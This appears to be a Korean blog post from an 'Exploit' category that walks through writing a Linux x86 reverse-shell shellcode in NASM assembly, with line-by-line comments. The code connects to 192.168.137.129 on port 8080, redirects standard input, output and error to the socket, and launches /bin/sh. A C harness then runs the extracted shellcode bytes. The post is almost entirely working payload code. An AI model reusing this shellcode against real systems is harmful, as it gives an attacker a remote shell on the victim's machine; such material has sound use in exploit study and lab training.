SMALL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 | bits 32 global main section .text main: ;EAX 시스템 콜(system call) 함수 번호 ;EBX 첫번째 함수 인자 ;ECX 두번째 함수 인자 ;EDX 세번째 함수 인자 ; "소켓을 생성" ; "sock = socket(AF_INET, SOCK_STREAM, 0)" push BYTE 0x66 ; socketcall 시스템콜 102 pop eax ; eax에 socketcall 콜넘버 저장 cdq ; edx를 0으로 초기화 xor ebx, ebx ; ebx를 0으로 초기화 inc ebx ; ebx = 1 -> SYS_SOCKET 소켓 생성 push edx ; socket()의 세번째 인자인 protocol 0 push BYTE 0x1 ; socket()의 두번째 인자인 SOCK_STREAM 1 push BYTE 0x2 ; socket()의 첫번째 인자인 AF_INET 2 mov ecx, esp ; socket()의 인자 배열의 포인터를 ecx에 저장 int 0x80 ; 시스템 콜 호출 ; socket함수 실행 후에 생성된 소켓 파일 디스크립터는 eax가 됨 xchg esi, eax ; esi에 소켓 파일 디스크립터 저장 ;connect(sock, (struct sockaddr*)&server, len); push BYTE 0x66 ;socketcall 시스템콜 0x66 pop eax add ebx,0x2 ;ebx =3 --> connect 함수 ;struct socketaddr 만들기 ;struct socketaddr_in ;sin_family_t word 메모리 구성 --> stack 구성 생각 ;sin_port word ;sin_addr dword ;sin_zero long long push 0x8189a8c0 ;192.168.137.129 push WORD 0x901f ;PORT = 0x8080 push WORD 0x2 ;AF_INET mov ecx, esp ;pointer sockeaddr ;push는 <-- 방향으로 ;connect 함수 인자 마주기 push byte 16 ;connect()의 len push ecx ;connect()의 pointer sockaddr push esi ;connect()의 sock descriptor mov ecx, esp int 0x80 ;call connect 함수 push BYTE 63 pop eax ;systemcall mov ebx, esi ;2번째 인자 socket descriptor cdq mov ecx, edx ;3번재 인자 표준입력 int 0x80 push BYTE 63 pop eax mov ebx, esi ;2번째 인자 socket descriptor inc ecx ;3번째 인자 표준 출력 int 0x80 push BYTE 63 pop eax inc ecx ;3번째 인자 표준에러 int 0x80 ;execve("/bin/sh",0,0) xor eax, eax ;null byte push 0x2f68732f ;"/sh/" push 0x6e69622f ;"/bin" little endian mov ebx, esp ;"/bin/sh/"의 문자열 pointer mov byte [ebx+7], al ;"/bin/sh/"의 문자열에서 /을 null 값으로 변경 cdq mov ecx, esp ;2번째 인자 pointer --> null 값 push edx ;3번째 인자 null 값 push byte 11 pop eax ; execve 시스템콜 int 0x80 | cs |
richong@ubuntu:~/shell$ nasm main.asm
위의 코드의 어셈코드를 긁어서 사용한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | #include "stdio.h" int main() { char* shellcode = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x83\xc3\x02\x68\xc0\xa8\x89\x81\x66\x68\x1f\x90\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x3f\x58\x89\xf3\x99\x89\xd1\xcd\x80\x6a\x3f\x58\x89\xf3\x41\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x99\x52\x89\xe1\x6a\x0b\x58\xcd\x80"; void (*shell)(void); shell = (void*)shellcode; shell(); return 0; } |
그리고 위와같이 사용해보면 된다.
참고 : http://inhack.org/wordpress/?p=2502
LIST
'Exploit' 카테고리의 다른 글
libc-database 정리 (0) | 2017.07.18 |
---|---|
Command Injection Sheet (0) | 2017.06.15 |
[MIPS] Shellcode (0) | 2017.04.13 |
MIPS BOF (0) | 2017.03.30 |
ARM Chain RTL (0) | 2016.12.29 |